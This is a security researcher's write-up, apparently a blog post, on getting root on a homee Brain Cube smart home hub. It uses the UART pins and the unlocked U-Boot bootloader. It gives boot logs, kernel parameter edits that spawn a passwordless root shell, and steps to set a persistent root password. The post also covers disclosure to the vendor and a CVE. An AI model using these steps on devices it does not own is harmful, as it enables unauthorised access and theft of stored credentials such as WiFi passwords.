Some time ago I came across a homee Brain Cube. This cube is an universal central device to connect smart home components of different vendors together and to control them. After opening up the case of this smart home bridge, I saw some potential to gain root access to the operating system running on it.
First thing you might notice is the missing connector on the right, below the white connector. Hooking up a logic analyzer to the PCB pads revealed a asynchronous serial interface (UART) with a 3.3V level and a 115200 8N1 configuration. When connecting a serial to USB converter board, you can see the system initializing and the bootloader loading the kernel.
U-Boot 2014.07-g88872d8 (Dec 21 2016 - 18:06:30) for F&S
CPU: Freescale i.MX6UL rev1.2 at 396 MHz
Reset: POR
Board: Cube2.0 Rev 1.00 (WLAN, 1x DRAM)
DRAM: 256 MiB
NAND: 256 MiB
MMC:
In: serial
Out: serial
Err: serial
Net: No ethernet found.
Hit any key to stop autoboot: 0 (counts down from 3)
[... shortened ...]
UBIFS: mounted UBI device 0, volume 1, name "rootfs"
UBIFS: mounted read-only
UBIFS: file system size: 61583360 bytes (60140 KiB, 58 MiB, 485 LEBs)
UBIFS: journal size: 9023488 bytes (8812 KiB, 8 MiB, 72 LEBs)
UBIFS: media format: w4/r0 (latest is w4/r0)
UBIFS: default compressor: LZO
UBIFS: reserved for root: 0 bytes (0 KiB)
Loading file '/boot/uImage' to addr 0x80800000 with size 4270976 (0x00412b80)...
Done
Loading file '/boot/cube2.0.dtb' to addr 0x81000000 with size 27973 (0x00006d45)...
Done
Saving Environment to NAND...
Erasing at 0x220000 -- 100% complete.
OK
Writing to NAND... OK
## Booting kernel from Legacy Image at 80800000 ...
Image Name: Linux-4.1.15-F+S
Image Type: ARM Linux Kernel Image (uncompressed)
Data Size: 4270912 Bytes = 4.1 MiB
Load Address: 80800000
Entry Point: 80800000
Verifying Checksum ... OK
## Flattened Device Tree blob at 81000000
Booting using the fdt blob at 0x81000000
Loading Kernel Image ... OK
Loading Device Tree to 8fb65000, end 8fb6ed44 ... OK
Setting run-time properties
Starting kernel ...
As you might have seen in the output, the U-Boot bootloader is not locked. We have 3 seconds to enter it. Among other things, this means we can edit variables like the parameters for the Linux kernel. First thing to notice is, that the input/output on the serial interface stops right after the kernel is started. Let’s fix this by making the kernel aware of the UART interface.
Cube2.0 # printenv
[... shortened ...]
bootcmd=run set_bootargs; run kernel; run fdt
bootdelay=3
[... shortened ...]
set_bootargs=setenv bootargs ${console} ${login} ${mtdparts} ${network} ${rootfs} ${mode} ${init} ${extra}
[... shortened ...]
Cube2.0 # setenv console console=ttymxc3,115200
Cube2.0 # setenv login login_tty=ttymxc3,115200
Cube2.0 # boot
[... shortened ...]
Welcome to homee Cube 2.0!
homee-00055111449A login:
Now the homee Brain Cube boots up and we can reach the login shell to where we do not know the
credentials. What we want is a root shell without any password. This can be achieved by manipulating
more kernel parameters. The init
parameter controls which binary gets executed first after the
kernel is running. If we set it to /bin/sh
the kernel will directly run a shell. Changing the
console
parameter again is not needed, because the changes had been written to NAND flash upon
the last system boot (check the output for “Saving Environment to NAND…”).
Cube2.0 # setenv extra init=/bin/sh
Cube2.0 # boot
[... shortened ...]
VFS: Mounted root (ubifs filesystem) readonly on device 0:13.
devtmpfs: mounted
Freeing unused kernel memory: 192K (807de000 - 8080e000)
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)
/ #
As you can see, we now have a root shell. However, the whole system initialization was replaced
by our shell. In order to get the rest running as usual we have to do it manually. Just run the
commands from /etc/inittab
but without the login shell.
mount -t proc proc /proc
mkdir -p /dev/pts
mkdir -p /dev/shm
mount -a
hostname -F /etc/hostname
/etc/init.d/rcS
Now we have root access to a fully functional homee Barin Cube. You can do what ever you want. Remember though, the changes in U-Boot environment were persistent and you will have to do the manual initialization again on the next system startup.
If you want a persistent root access without doing the initialization manually, you can change the
password of the root user and revert the changes to the init
parameter. However, the filesystem
where /etc/shadow
(the file with the password) is stored on, is mounted read-only. We first have
to re-mount it with write access. Then we can change the password using passwd
.
/ # mount -o remount,rw /
/ # passwd
Changing password for root
New password:
Retype password:
Password for root changed by root
/ # sync
[ Reconnect the power supply and enter the bootloader ]
Cube2.0 # setenv extra ""
Cube2.0 # boot
[... shortened ...]
Welcome to homee Cube 2.0!
homee-00055111449A login: root
Password:
# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
Thats it!
Some Background
Generally speaking, unlocked bootloaders are not that rare on smart home devices, consumer routers, etc. However, the thread is limited as exploiting the weakness requires physical access. But don’t forget to reset your homee if you are planning to give it away. The next owner can e.g. read out your WiFi password.
The issue was reported to the vendor on May 20 2019. As of writing this, there is no update available which locks the bootloader. To reference this security weakness CVE-2019-16258 was assigned.